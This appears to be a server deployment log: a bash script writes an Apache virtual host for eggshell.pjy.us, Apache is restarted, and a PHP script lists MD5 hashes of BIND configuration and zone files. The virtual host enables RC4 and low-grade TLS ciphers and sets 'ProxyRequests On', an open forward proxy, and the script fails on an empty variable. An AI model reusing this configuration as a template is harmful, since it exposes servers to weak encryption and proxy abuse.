MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-29 16:45:40: Establishing a connection
2025-10-29 16:45:40:
PUT: /tmp/pkp244819
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_eggshell_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_eggshell_us.conf
DOCROOT=
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName eggshell.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_eggshell/public
<Directory /var/www/pjy_eggshell>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/eggshell_access.log combined
ErrorLog /var/log/apache2/pjy/eggshell_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
DirectoryIndex index.html index.htm index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName eggshell.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_eggshell/public
<Directory /var/www/pjy_eggshell>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/eggshell_secure_access.log combined
ErrorLog /var/log/apache2/pjy/eggshell_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9514/
ProxyPassReverse ws://localhost:9514/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9514/
ProxyPassReverse http://localhost:9514/
</Location>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_eggshell_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_eggshell_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_eggshell_us.conf= 1'
fi
2025-10-29 16:45:40:
chmod 755 /tmp/pkp244819; /tmp/pkp244819; rm /tmp/pkp244819
2025-10-29 16:45:40:
/tmp/pkp244819: line 75: [: !=: unary operator expected
STDERR:
/tmp/pkp244819: line 75: [: !=: unary operator expected
2025-10-29 16:45:40:
PUT: /tmp/pkp206579
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-29 16:45:40:
chmod 755 /tmp/pkp206579; /tmp/pkp206579; rm /tmp/pkp206579
2025-10-29 16:45:41:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-29 16:45:41: Establishing a connection
2025-10-29 16:45:41:
PUT: /tmp/pkp251001
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-29 16:45:41:
runuser -l bind -s /bin/bash -c '/tmp/pkp251001; rm /tmp/pkp251001'
2025-10-29 16:45:41:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
